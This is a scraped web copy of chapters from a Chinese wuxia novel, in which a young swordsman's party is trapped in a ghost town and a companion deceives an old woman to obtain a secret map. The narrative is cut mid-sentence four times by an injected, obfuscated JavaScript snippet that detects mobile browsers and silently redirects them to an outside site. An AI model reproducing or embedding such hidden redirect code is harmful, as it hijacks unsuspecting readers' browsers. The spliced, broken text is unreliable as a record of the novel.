话音刚落,突然一片巨大的白布迎面扑来。季歌警觉,当即将灵甜推开,乌兰出鞘,一剑劈下,白布从中裂开,断成两截。 其余人立时拥到他的身侧,准备正向迎敌。季歌虎视眈眈地观望着周遭环境,压低声音道:“大家小心了。” 话音刚落,停放在不远处的那口黑色棺材里突然便激射出了无数白色丝状之物,纷纷朝众人涌来。 “注意迎敌!” 季歌手握乌兰,扑身而上。却没想乌兰刚与白色丝状物碰触,剑刃便被丝物缠住,且愈缠愈快,转眼便由剑刃蔓延至剑柄。季歌快速转动手腕,试图挣脱这些蚕丝样的东西,却发觉越要挣脱,蚕丝缠得越快,转眼已由剑柄向自己的手缠来。 季歌心生慌乱,当即脱手,乌兰“呛啷”一声,掉落地上。与此同时,孟浪张衡手中的刀剑也都被蚕丝缠住,呛啷啷一片,俱都掉落地面。 季歌眼见情势不妙,当即向四人递了个眼色,四人会意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468440|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身向镇外奔去。然而刚迈出半步,便觉腿上被什么东西拽住,且愈拽愈紧,力道愈来愈大,伴随着众人跑脱的速度,愈发收紧。 季歌回头看了一眼,却见还是那团蚕丝般的东西。只见这些丝状物长得貌若蚕丝,力道却比蚕丝要大,将双腿缠住,立时便不能动弹。 眼见这些蚕丝仿佛活物般迅速攀爬至腰际,众人纷纷被带倒在地,愈是挣扎,愈是激起了它的斗志,愈缠越紧。一层又一层,一圈又一圈,季歌咬牙低喝:“别动!” 四人强行定住身形,这才发觉稍一静止,丝线蔓延之势竟略有迟缓。 孟浪喘息道:“这是……以静制动?” 季歌沉声道:“这些丝怕是受意念操控,越是躁动,它反应越快。” 于是四人不敢再多动弹,然而只停滞了一瞬,那些蚕丝立即由腰部蔓延至头颈,转眼便将众人的头脸缠住,且愈缠愈紧,很快只剩下口鼻和两只眼睛露在外面。 五个人卧在地上,你看看我,我看看你,见对方都被裹得如蚕蛹一般,不由心中又是好笑,又是恐惧。在地上蜷成一团,均不知该如何是好。 忽然,那口黑色的棺材里幽幽传来一声女子的叹息,众人心中惴惴,俱都睁大了眼。片刻,只见一个银发女子从棺材里坐了起来。她边打哈欠,边伸起了懒腰,似乎刚刚才睡醒,众人的出现将她吵到了一般。 季歌看到她一头银发披在肩上,滑溜柔顺,如同缎子一般。只是腰背佝偻不直,颇显老态。 伸完懒腰,那银发女子缓缓转过脸来,望向这边。待看到她的面容,众人心中俱是一惊。只见这女子并非女子,而是一名老妪。脸上遍布褶皱,眼周细纹密布,松弛的眼皮耷拉下来,将一双本就不大的眼睛几乎完全遮蔽。 与瘦削的身形和满头如瀑的银发相比,判若两人。 “真是怕什么来什么。” 孟浪缩在蚕蛹里,浑身抖得跟筛糠似的。两只眼直勾勾地盯着老妪,瞪如铜铃。 那老妪艰难地从棺材里下来,同时将一只蜡烛从棺材里取出来,点燃。然后手托蜡烛,向这边走了过来。 只见她身上的衣衫破破烂烂,旧得发黄,上面到处破口,到处补丁。脚上踩了一双绳编的草鞋,走路时静寂非常,一点声音也无。 孟浪眼看着她托着蜡烛,愈走愈近,吓得一颗心几乎跳到嗓子眼里。烛光掩映之下,将她一张脸衬得更为恐怖。脸上的线条阴影更多,光影密布,并且正随着轻轻摇曳的烛火微微晃动。 一脸褶子,满头白发,面色发黄发黑,这样的形象无论谁在黢黑的镇子里看到,都会心生恐惧。 孟浪瑟瑟发抖地转过脸去,看向宋游。见他正面无表情地看着那老妪,脸上一点畏惧也无,淡定如常,压低声音道:“喂,姓宋的,这老妇什么情况?” 宋游对他看也不看,理也不理,转而向卧在自己身旁的季歌,轻声道:“她应该就是喻理喻大侠的乳母,鬼姥姥了。” 季歌看向他,道:“何以见得?” 宋游道:“据银丝山庄的密探探得的消息,这座鬼镇早已荒废了二三十年,无人居住,只有鬼姥姥一人。方才我们一路走来,可曾看到有其他人?” 季歌摇了摇头。 宋游道:“你看她满头银发,一身老态,至少也年逾八旬了,应当是喻理的乳母没错。” 季歌想了想,道:“那眼下怎么办?” 宋游低声道:“好说。” “见机行事。” 35. 森森鬼镇(2) 孟浪见他二人头挨着头,窃窃私语不断,两具身躯被蚕丝裹得如同两团真正的蚕蛹,心里又是好气又是好笑,忍不住声音大了些:“你俩在密谋些什么玩意儿,能不能说出来让大伙儿都听听。” 灵甜闻言,向季歌宋游处望了一眼,轻轻巧巧地翻了个白眼。 这时,老妪托着蜡烛过来,经过孟浪身旁,将蜡烛在他脸上晃了两晃。 昏暗的烛光下,只见她一双松弛的眼皮都快掉下来了,孟浪吓得大气也不敢出,被她一直举着蜡烛在自己脸上细看,却什么也不敢说。 “就先拿你开刀吧,我看你最是聒噪。” 那老妪在孟浪脸上端详了片刻,突然手中多了一把匕首,缓缓拔出鞘来。孟浪惊得又是一个哆嗦,忙矢口否认,道:“我话不多的,我话不多的……” “我一点也不聒噪,方才我可是什么都没有说!” “还说自己话不多!”老妪脸现怒色,骂道:“老身一生未曾婚配,最讨厌的就是如你这等大脑空空,又爱嘴碎的粗鲁莽汉!你这等不干不净的货色,就该早早死绝,省得为祸人世!” 说着挥起手中匕首,就要一刀落下。 这时,宋游突然叫道:“鬼姥姥息怒,我们是喻理喻大侠的朋友!” 刀在半空滞住,老妪缓缓回过头来,向着声音来向望去。只见说话之人是裹成一团的一只小小蚕蛹,不由面露疑惑之色。 宋游向她点了点头,道:“真的,我们是喻大侠的朋友。”说着动了动身子,“我身上有喻大侠的信物,在左边怀里,您若是不信,一看便知。” 老妪保持着手举匕首的姿势怔了好久,疑惑的面色中方始露出一丝触动之情。 她道:“你是何人?” 不等宋游答话,便缓缓放下手中的匕首,径直走了过来。 来到宋游身前,她蹲下身,举着蜡烛在她脸上晃了两晃,而后揪住蚕丝的一角,轻轻一扯,宋游缚了满身的蚕丝就此蜕去,顿觉身上一松。 他活动了下被蚕丝绑得有些发麻的手腕,正待起身,这时一只骨瘦如柴,皱纹满布的手突然探入他的怀中,在里面摸了两摸,从他怀里取出了一物。 就着她手中的烛光,季歌看到那是一只金黄金黄的长命锁,心中顿生诧异:“游弟真是神通广大,连喻大侠的长命锁都搞到了,奇哉怪也。” 只见那老妪将长命锁握在掌心,细细端详起来。片刻,枯瘦的脸颊微微震颤,似乎认出了手中之物便是喻理儿时之物,勾起了几十年前死去的回忆。受激动的情绪牵扯,泪水渐渐盈满眼眶。 宋游见她认出了此物,沉声道:“鬼姥姥,此物相信您再熟悉不过了,是喻大侠幼时,您亲自给他戴上的,为的是能保他长寿无忧,一生顺遂。” 老妪双目紧紧凝视着长命锁,大颗大颗的浊泪掉落上面。苍老的手细细抚摸着长命锁,微微颤抖,仿佛抚摸着的不是长命锁,而是喻理儿时的眉眼一般。她声音颤抖:“此物为何会在你这里。” 宋游站起身来,正色道:“半年前,喻大侠不知因何事得罪了武林正道,与他们起了冲突,矛盾愈演愈烈,被江湖各大门派排挤追杀。仓促之际,他将此物交给了我,千叮咛万嘱咐,要我务必带着信物前来找您。希望能借助您的力量,召集齐望海潮的旧部,一举助他登上潮主之位,与所谓的武林正道抗衡。” 闻听此言,季歌透过黑夜里的烛光睨了他一眼。 老妪缓缓抬起眼来,看着宋游,道:“他眼下在哪里?” 宋游道:“喻大侠被人追杀,躲在了一处无人知晓的地方,不便现身。只让我带着此物来找您,说您一看便知。” 说着以一种试探的眼光观察着老妪的反应:“喻大侠从小父母双亡,一直由您扶养长大。自认识以来,他不止一次对我说,您是他在这个世上最敬爱的人。眼下喻大侠疲于奔命,生死未卜,作为朋友,在下理应尽快联合起望海潮的旧部,助他一臂之力。” 老妪低下头来,颤抖着双手摩挲着那只长命锁。半晌,缓声道:“你与他年岁相差太大,我如何能信你?” 宋游忙从怀里取出一封书信,递了过去,道:“这是喻大侠亲笔,您看一下。” 老妪缓缓抬眼,将信将疑地接过书信。宋游顺势从她手中接过蜡烛,看着她颤颤巍巍地拆开书信,阅看起来。 孟浪张衡灵甜全程大气也不敢出,眼睁睁看着那老妪读信时,脸色由半信半疑渐渐转为深信不疑。半晌,老妪阖起书信,走到四人身前,依次解了缚在他们身上的蚕丝。 四人活动了活动手脚腕,只觉就这么一会儿,全身都麻了。 那老妪沉声道:“当年望海潮有一名潮主,两名副潮主,五名分舵主。潮主执掌总坛,这个自不必说。五名分舵主地处中原五地,执掌分舵,协助潮主处理潮中事务……” 听到这里,季歌情不自禁地向宋游望了一眼,心下暗忖:“游弟所言非虚,看来并没有诓我们。” 只是这短短的一眼,宋游便已察觉到,不由心生愠气,斜斜白了他一眼,那意思仿佛在说:“难道你当我是来行骗的?” 那老妪继续道:“最有意思的是那两位副潮主。他二人明争暗斗了很多年,一个在明,一个在暗,共同协理潮中事务。不过二人均是化名,身在明处的名唤轩朗,身在暗处的名唤轩夜。” “望海潮覆灭后,潮主被杀,两名副潮主也因此受到牵连。轩夜不知所踪,轩朗为避祸患,改头换面,隐姓埋名,化作一江湖游侠,也就是喻理。” “原来如此。”季歌道。 思前想后,又觉此事诸多怪异之处,问道:“这望海潮到底是做什么的?怎么从来没听说过?不仅没听说过,连小人书上都没有记载。” 说着看向孟浪和张衡,道:“甜儿比我还小,没听过正常,二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468441|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位哥哥可曾听说过?” 张衡低头不语,孟浪道:“我只听说是个邪教组织,为祸武林,后来被五大派一举铲除了。” “五大派?”季歌道:“这又是什么帮派?和望海潮之间有何冤仇?” 张衡道:“五大派是五大派组成的一个反邪教联盟,由嵩山雪淞派,梵净山青衣派,崆峒山四方宫,昆仑山玉琨派,还有桃花峰金刀寨五个门派组成。” “原来如此,这几个门派倒是都挺熟悉的,天下掌门人大会他们也都有参加。”季歌心下忖度片刻,忽然又觉有什么不对,道:“不对,若这望海潮真如孟兄口中所说,是什么邪教组织,那五大派将邪教一举歼灭,为民除害,当是好事啊。如此壮举,该在史书上大书特书才对,就算不为朝廷所接纳,也该上些江湖小报,江湖画册,广为流传才是。” “可是我从小待在山上,各种江湖小报看遍,连衡山藏书阁的书籍也都看了不知多少,却从来没有看到过有关望海潮的只字片语,这是怎么回事?” 说着一脸茫然地看向老妪。 老妪摆了摆手,道:“有关望海潮的旧事,老身知道的也不是很清楚,毕竟这个组织覆灭也有十年了。出于保密,喻理年轻时也从来没有向我透露过分毫。” “只不过,有一点老身倒是很清楚。那就是当年它还在的时候,江湖上便风言风语,对它褒贬不一。有人说它是锄强扶弱,扶危济困的正义帮派,也有人说它是表面行侠仗义,实则阳奉阴违,倒行逆施的邪教组织。总之,说什么的都有,只看这个帮会门派迎合了谁的利益。” “不过……”老妪轻轻叹气,“我儿自小身正行直,行事敞亮,以他的人品气度断不会加入一个邪教组织,更不会在一个邪教组织坐到副潮主的位置。听这位少侠方才说,那些所谓的名门正派正在围剿他,定是他们发现了他旧日的身份,想要赶尽杀绝罢了。”说着面露不忿之色。 宋游忙道:“我也是想到了这点,是以一接到喻大侠的嘱托,立刻便马不停蹄地来找您了。” 顿了顿,“听喻大侠说,当年望海潮覆灭后,五大分舵的残部遍布中原,潜藏方位不一。五位分舵主的藏身之地标记于一张地图上,是为机密。喻大侠担心自己哪日身遭不测,将五位分舵主的藏身之地泄露出去,便在十年前将那张地图亲手交给了您保管,可有此事?” 老妪缓缓点了点头,道:“确有此事,那张地图确实在我身上。” 宋游道:“眼下喻大侠有难,在下急需游说这几位分舵主,与我一起前去支援喻大侠,烦请姥姥将那幅地图给我。” 老妪看了他一眼,又看了季歌四人一眼,道:“我不认识他们,也信不过他们,你跟我来。”说着转身径直向前方去了。 季歌微步上前,想要陪同,却见宋游向他摆了摆手,示意他留下。又向他轻轻点头,意思是说:“我没事。”季歌这才不追了。 36. 神秘地图 待到二人一走,孟浪立即叫唤起来:“终于走了,可把老子给憋死了!到底啥情况啊,我咋听不懂了,那小矮子怎么成了喻理的朋友了?那白头发老妖婆到底什么来路?那地图又是怎么一回事?望海潮又是个什么玩意儿?” 季歌扶了扶额,表现得有些无语,道:“孟兄,你还没看出来吗?游弟是在骗她。” 孟浪面露不解,季歌道:“按他们方才所说,那老妪名唤鬼姥姥,应该是喻理的乳母没错了,这点我可以肯定。喻理也确然是望海潮的副潮主,他母子二人应该很多年没见了。游弟骗她说自己是喻大侠的朋友,为的就是拿到那幅标记有五位分舵主藏身之地的地图。” 灵甜道:“那他为何要找那五位分舵主?” 季歌道:“我想,那五位分舵主应该知道喻理的下落,当年他们都隶属于望海潮,私下应该会有联络。游弟应当是通过银丝山庄知道了这一点,故此才编出喻理有难,需要五位分舵主前来助力的谎话。” 孟浪这时好像有些明白了,说道:“意思是从那幅地图上找到五个分舵主的下落,就能找到喻理了?” 张衡道:“二哥聪明。” 孟浪知他故意嘲讽,不予理会,想了想,又道:“找到那五个分舵主,然后呢,怎么探听喻理的下落?那五个分舵主又不认识我们,如何能取信于他们?” 季歌摇了摇头,面露迷惘之色,道:“这个还不太清楚,待会儿问一下游弟。” 孟浪冷冷一哼,道:“看来这个小矮子肚子里还是有点东西,跟着他或许真能找到喻理。” 季歌扶了扶额,感到有些累了,不想再说话。走到酒铺外的桌子前,正准备坐下,突然见桌椅板凳上积了一层厚厚的灰尘,当下道:“甜儿,过来擦一下,让大家歇会儿。” 灵甜取出一块手帕来,扔进孟浪怀里,道:“你去。” 孟浪百般无奈,拿着手帕不情不愿地走过来,两三下擦完了。张衡过来坐下,季歌准备落座,灵甜突然叫道:“等一下!”冲过来,从孟浪手中夺过手帕,将季歌待要坐下的板凳反复擦了几遍,道:“可以坐了,哥哥。” 季歌一掀衣摆,坐了下来。灵甜满眼情意地看着他,两只月牙眼直接笑成了星星眼。 孟浪瞅着二人情状,嘿嘿两笑,乜斜着眼,打趣道:“季兄弟,就灵甜姑娘这样的,娶回家,绝对贤妻良母,什么事都不用你操心,足够省心。” 季歌阴恻恻地睨了他一眼,道:“孟兄,难怪你三十多还讨不到媳妇。” 孟浪睁大了眼,道:“怎么说?” 季歌道:“不仅要给你生孩子,还得给你当下人。来鬼镇的这一路上我都在想,到底是谁家的女子这么好命,能嫁给孟兄这样的人才,当牛做马,庸碌一生。” 孟浪撇撇嘴道:“那有什么的,相夫教子,勤俭持家,家妇本分嘛。” “嗯。”灵甜十分认同地点了点头,道:“该当教那鬼姥姥把你一张嘴封上,只留两个鼻孔出气就好,毕竟这张嘴要了也没什么用,狗嘴里吐不出象牙嘛。” 孟浪被他二人一人一句先后收拾,只将一双委屈的小眼神瞟向张衡,露出渴望求助的表情。 张衡微微一笑,道:“二哥,我要是你,早都闭嘴了。” 一柱香后,宋游抱着一幅地图回来了。季歌连忙起身,迎了上去,道:“有游弟在,办事就是爽利。”说着向他身后望了一眼,道:“那鬼姥姥呢,没有跟来?” 宋游冷冷道:“深更半夜,早休息了。”对他看也不看,走到桌前坐下,将手中的地图在桌上缓缓摊开。其余三人立即起身,围了过来。 只见那幅地图上粗略绘制了中原的名山大川、官道乡道,并在五个方位做了五个红色的标记。只是奇怪的是,这五个标记都位于五个江湖门派不远的地方——嵩山十里地外的草堂寺,金刀寨所在的桃花峰,临近四方宫的烧香书院,玉琨山前殿,以及……青衣派的后山,都被做了红色标记。 四人你一言我一语地研究了一阵子,季歌道:“游弟,这是怎么回事,为何那五位分舵主的藏身地是在五个门派的附近呢?” 宋游道:“自然是为了渗透。” 季歌吃了一惊,道:“渗透?”同样感到震惊的还有三人。 宋游淡定的道:“没错,渗透。” 孟浪道:“这五个门派知道他们被望海潮旧部渗透了吗?” 宋游道:“若是知道,还叫渗透吗?” 季歌见他面露不悦,忙道:“孟兄,别打岔。游弟,五位分舵主为何要渗透五大门派,还有方才说起了五大派的成员,似乎也是这五个门派,这其中可有什么关联?难道五大派真的与望海潮有仇?” 宋游默了默,道:“我是喻理的朋友自然为假,张兄方才说五大派当年一举歼灭了望海潮,也确然为真。这五位分舵主潜藏在五大派的附近,与其说是渗透,不如说是严密监视。” 季歌心道:“这么说确然是五大派歼灭了望海潮。”于是道:“此话怎讲?” 宋游道:“十年前望海潮覆灭后,潮主洛乘风被杀,两名副潮主不知所踪,它的残部一直想重新恢复这个组织,恢复望海潮往日的荣光。是以那五位分舵主潜藏在了当时致使望海潮灭亡的五大门派附近,企图窃取机密,伺机而动。” 季歌道:“五大派为何要歼灭望海潮,望海潮到底是一个什么样的组织?” 方才鬼姥姥在场,有些话宋游不好明说,其间少不得有含糊其辞、春秋笔法的嫌疑。并且鬼姥姥是喻理的乳母,心里自然向着自己的养子,凡事往好的方向说,至于真正的望海潮是什么样子,却不得而知,只有等鬼姥姥不在场时,听听宋游怎么说。 宋游缓声道:“银丝山庄探听到的版本是,望海潮的总坛位于蜀山剑阁,确然是一个邪教组织。十五年前在江湖上悄然兴起,短短三年间便声名鹊起,不可一世。他们以蛊惑武林中人为业,通过向江湖人发放孤世秘籍为交换,唆使他们替自身效力,对抗朝廷,对抗武林正道,与天下人为敌。” “以孤世秘籍为交换?”季歌诧异:“沐恩谷?难道望海潮与沐恩谷有关?否则行事为何如此相像?” 宋游摇了摇头,道:“此事我还不得而知,保持怀疑,暂且不论。” 季歌道:“他们为何要这么做?动机是什么?” 宋游道:“这一点江湖上众说纷纭,十年来一直是个谜。一种说法是为了分化五大派在江湖上的势力,在武林挤占立足之地。一种说法是为了搅乱江湖格局,称霸武林。还有一种说法,也是流传最广、可信度最高的说法,望海潮是西夷妄图瓦解中原武林的工具,想借此搅乱天下格局,动摇萧氏朝廷的根基,从而达到祸国殃民的目的。不过这一点,也有人觉得有些夸大其词了。” 季歌道:“然后呢,五大派是如何让望海潮在江湖上消失的?” 宋游道:“望海潮教唆江湖人的行为渐渐引起了五位掌门的注意。他们起初只是观望,想看看这个邪教组织到底想干什么,到了后来,发现他们屡屡与武林正道为敌,所行之事不是作奸犯科、图谋不轨,就是犯上作乱,以身试法。渐渐的,时间久了,不好的名声传扬开来,惹得人神共愤,江湖上怨声载道,武林骚乱。眼看邪教的势力愈来愈大,五大派终于痛定思痛,聚沙成塔,决定对其斩草除根。于是他们五位掌门一番商议过后,就此结盟,共抗邪教。” “那一夜,趁着望海潮总坛人人安睡,五大派突袭了剑阁。漫天的火光,烈火熊熊,兵刃交锋了整整一夜,直到天亮,称霸一时的望海潮终于覆灭,潮主被杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468442|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,江湖彻底恢复了太平。” 宋游说着,缓缓闭上了双目,呼吸略显急促,似乎在极力回忆着那段十年前的往事,亲历目睹一般。 季歌道:“望海潮的潮主就是在这次战役中死的?” 宋游道:“没错。” “潮主洛乘风被人一剑斩下头颅。血淋淋的脑袋顺着剑阁十几层的石碣一路滚落下去,血肉模糊。人咽气了好久,两只眼睛却还怒目圆睁,死死盯着那具跪在剑阁前,不甘屈服的身躯……” 一瞬间,季歌心中转过千百个念头,万千种情绪。他深吸口气,道:“我明白了,一切都理顺了。” “喻理是望海潮的副潮主,又与望海潮的旧部私联甚密。他在天下掌门人大会上,借着江家灭门惨案公然构陷于我,给我父亲使绊子,就是为了阻止父亲登上江湖盟盟主之位。” “自古正邪不两立,望海潮一直与中原武林为敌,剑阁覆灭后也一直暗中图谋东山再起。倘若我父亲荣登盟主之位,将一盘散沙的武林联合起来,势必会对他们的旧部造成极大重创。一旦暴露行迹,难免会遭江湖盟赶尽杀绝,到那时他们再想恢复往日的荣光,可就难了。” 宋游点了点头,道:“你说的不无道理,应该就是这个谋划。” 想明白了这一点,季歌心中立时斗志激起,大声道:“当务之急是要尽快通过那五名分舵主找到喻理,将其绳之以法,让他向天下人谢罪,还我和衡山,问心剑派以清白。就算不为了衡山,也该为了江家无端惨死的二十三条人命给个说法。” 受他鼓动,孟□□道:“就是!”拍了拍他的肩,道:“季兄弟,你别怕,有什么事,哥罩着你,赴汤蹈火,上刀山下油锅,在所不辞。” 季歌望了他一眼,心中隐隐的激动。然而细思之下,眉头复又蹙起,说道:“只是有一点我还是不明白,方才也问过那鬼姥姥。以望海潮当年令整个武林闻风丧胆的势力和规模,想必潮众定然上万。这么多的妖人被一举歼灭,不管五大派是出于何种目的,就算没有得到朝廷的嘉奖,也该在史书上大书特书,受到整个武林的拥护,传为佳话。为何我从来没有听说过此事,也从未听父亲母亲说过此事,” 宋游想了想,道:“此事我也不知,那时我比你还小,更不清楚了。”顿了顿,“回头等见了令尊令堂,你可以问问他们。” 季歌点了点头,没再说话。 孟浪听他二人说了半天,这时终于插上话了,问道:“我只关心如何通过这五个分舵主找到喻理。” 宋游见他看向自己,心里微微不悦,不咸不淡道:“你问我,我当然也不知道。” 孟浪见他态度不好,提高了声量,道:“那怎么找啊?” 张衡怕他二人起了冲突,拍拍孟浪的肩,温声道:“我想宋游兄弟应该是要先找到那五位分舵主,向他五人晓明利害,骗得他们五人的信任,才能从他们口中探知喻理的下落。” 宋游看向张衡,微微一笑,道:“还是张兄稳重聪慧。” 孟浪斜斜翻了个白眼。 张衡道:“我有个建议,不知宋游兄弟愿不愿意听。” 宋游道:“张兄请讲。” 张衡道:“既然望海潮的旧部开始有所行动,我估摸着五大派和其他江湖人士还不知情,还被蒙在鼓里。我觉得我们在一起寻找那五个分舵主的同时,需将此事悄悄通禀给那五个门派的掌门,让他们尽快采取行动,看是如何将这群恶贼一网打尽。” 宋游点头道:“我正有此意。正好那五名分舵主的藏身之地就位于五个门派附近,正好顺路,做起来也不费力。” 孟浪插话道:“那这五个窝点,我们先找哪个?” 宋游将地图又研究了一遍,道:“嵩山距离此地最近,我们先去草堂寺探探。” 37. 倒霉和尚 季歌略一沉吟,道:“游弟,你可知藏在草堂寺的分舵主是谁,姓甚名谁,有什么相貌特征没有,如此我们也好找。” 宋游摇了摇头,道:“模样我不清楚,只听鬼姥姥说这位分舵主的代号叫作倒霉和尚。十一年来,这五名分舵主为掩人耳目,东山再起,早已乔装改扮,改弦更张。他既然藏身于草堂寺,名字又唤作倒霉和尚,极有可能是一名和尚,并且是一名与嵩山联系十分紧密的和尚。顺着这个方向找,应该不难。” 季歌点了点头,想了想,又道:“那其他四位分舵主又叫什么名字,藏身在那四个门派的什么地方?” 宋游道:“那鬼姥姥似乎对我们心存戒心,很是提防机警,不愿多说。只向我透露了倒霉和尚的代号和位置,说是等我们找到了倒霉和尚,取得他的信任,他自然会告诉我们下一位分舵主的名号,以此类推。” 季歌点了点头。 宋游道:“我瞧她言下之意,似乎还是担心我们冒充喻理的朋友,实则真正的身份是五大派,故意拿着喻理的信物前来找她套话,好将望海潮的五个分舵一网打尽。是以我百般试探,还是没有从她口中撬得其他四位分舵主的下落。” 顿了顿,叹气道:“不过她与我们素不相识,心存戒心,也是情有可原。” 季歌道:“那是。” 眼见夜色更浓,待在这黑黢黢的鬼镇实在瘆人,便道:“这地儿邪门得很,我们还是快走吧,等出了镇子寻到一家正经客栈休息好了,再去嵩山。” 话音刚落,却见宋游将桌上的地图快速一卷,负在身后,道:“我的忙已经帮完了,这便告辞。” 季歌吃了一惊,道:“什……什么?” 宋游道:“字面意思。” 季歌怪道:“游弟你这是何意?不是说好了一起去找喻大侠么?” 孟浪也道:“开什么玩笑,你在鱼庄怎么说的,你答应了季兄弟要帮我们的,还吃了我们一条鱼。” 他本就看宋游不甚顺眼,平时多有忍耐也是看在季歌的面儿上不予追究,眼下见季歌言语中带了质问之意,当下也不客气了。 宋游整理好背上的地图,语气冰冷道:“帮一时,岂能帮一世?再说,我当初只答应了帮你找鬼姥姥,如今鬼姥姥已经见了,倒霉和尚这条线索也有了,要想让人家多干,那是另外的价钱。” 孟浪一听这话,心头无名火起,破口骂道:“你他妈是个什么东西,这等屁话也说得出来?这一路上大伙儿受了你多少鸟儿气,要不是看在季兄弟的面儿上,老子早把你这小身板给锤穿了,犯得着听你在这儿吆五喝六的放屁!” 宋游阴阳怪气道:“哟,恨我恨到这等地步,都想动手了啊。真是奇怪,给了你这么多鸟儿气受,还不想让我走,孟兄还真是口是心非。” “你……” 孟浪语塞。 季歌怕他二人起了冲突,忙将孟浪按了下去,转向宋游道:“游弟,不用如此较真吧,大家相识一场,便是缘分,你若是觉着一条鱼不够,想换个口味,为兄大可以带你去吃,山珍海味,满汉全席,你尽管提,都不在话下,为兄有的是银子。” 他心里有气,尽管已强力忍耐,说话间还是带着不忿之意。不过态度是诚恳的,他是真心实意想要宋游留下来的。 熟料宋游听完,双眉一竖,冷冷道:“那倒不必,我答应的只有那条鱼,鱼吃完了,忙自然也就帮完了。” 灵甜怒道:“你怎么这样啊,蛮不讲理。” 宋游回目看她,阴阳怪气道:“你说的没错,我就是不讲理。再说,你不也早就想让我滚吗,如今我要滚了,你又不乐意了。唉,女孩子家的心思真难猜,对吧,季兄。” 说着径直离开了桌子,向镇外走去。 季歌连忙追上去,与他并行,道:“游弟,你若是有何不满意的地方,或是对我个人有意见可以直说,不要耍小孩子脾气,让人摸不着头脑。说好了一起去找喻大侠,怎么说话不算数,说翻脸就翻脸呢?” 闻言,宋游蓦地停步,盯着他,语气不忿道:“季兄怕不是理解错了,我可从未说过要陪你一起去找喻大侠。还有,烦请你以后说话放尊重点,我怎么说话不算数了?怎么说翻脸就翻脸了?就吃了你一条鱼,便帮了你这么多忙,陪你走了这么多辛苦路,我难道做的还不够多?” 季歌正要开口解释,已见他伸出手道:“你别再说吃的事了,瞧不起谁呢,我是看你坦诚相待,才答应走这一趟的,岂是为了你那条鱼?再说,那鱼才值几钱银子,我们堂堂银丝山庄,竟会吃不起一条鱼?真是笑话!” 季歌没想到他会这么想,心想这也太敏感了,连忙解释道:“游弟,你知道我不是这个意思,我怎会如此欺辱于你,实是……” 话没说完,宋游便一声不吭地继续向前行去,健步如飞。季歌心里着急,快步跟了上去,却没留意脚下,一不小心将他一只鞋子踩了下来。 宋游停下来,回目瞪他,道:“你有完没完?”满脸怒容。 “我……没完……” 见他面色不悦,忙又解释:“我……我不是故意的……” 顿了顿,“我是怕你一个人走夜路不安全,心里放心不下。”说着快步上前,牵住他的手,道:“游弟,你要到哪里去,我送你回去,银丝山庄么?” 宋游将他的手摔开,蹲下身,将鞋子重新穿好,站起身道:“你会这么好心?不劳季少侠大驾,你还是忙自己的吧。”说着径直往前。 季歌在旁追道:“游弟,你若是有什么急事,或是有什么苦衷,尽管开口,为兄一定鼎力相助,我们都认识这么久了,兄弟一场,你可别见外。” 宋游冷冷道:“我堂堂银丝山庄庄主,会需要你帮忙?你那点本事,还是留着自己用吧。再说,你那几个朋友明显不欢迎我,你与他们称兄道弟的,我倒是个外人,显得多余了。要说你真的担心我,你我素不相识,也没什么可挂怀的。你想让我留下,无非是看我对你有用,有价值,真要说什么兄弟情分,也不见得有多少。” 边说边脚下蓦地加快。走出老远,回头一看,见季歌仍不死心,紧紧跟在身后。突然心头火起,袖口一扬,一道莹白色冰绡直直蹿了出去,径直摔向季歌的脸庞,黑夜中犹如一道狂舞的白蛇。 季歌万没想到他会突然动手,没有防备,脸上吃了一记,火辣辣的疼。宋游见他没有躲开,远远地收回冰绡,站定了身子,目中冷电直射:“银丝山庄有急事需要处理,不要再跟着我了!” 说完,快步向前行去,身形转眼湮没于浓浓夜雾当中。季歌目送着他的身影渐而不见,摸了摸肿高的脸,心中又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468443|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生气又是郁闷。 过得半晌,灵甜从后面追上来,见他左半边脸又红又肿,心疼得紧,关切道:“没事吧季哥哥,疼得厉害不?” 季歌道:“没事。” 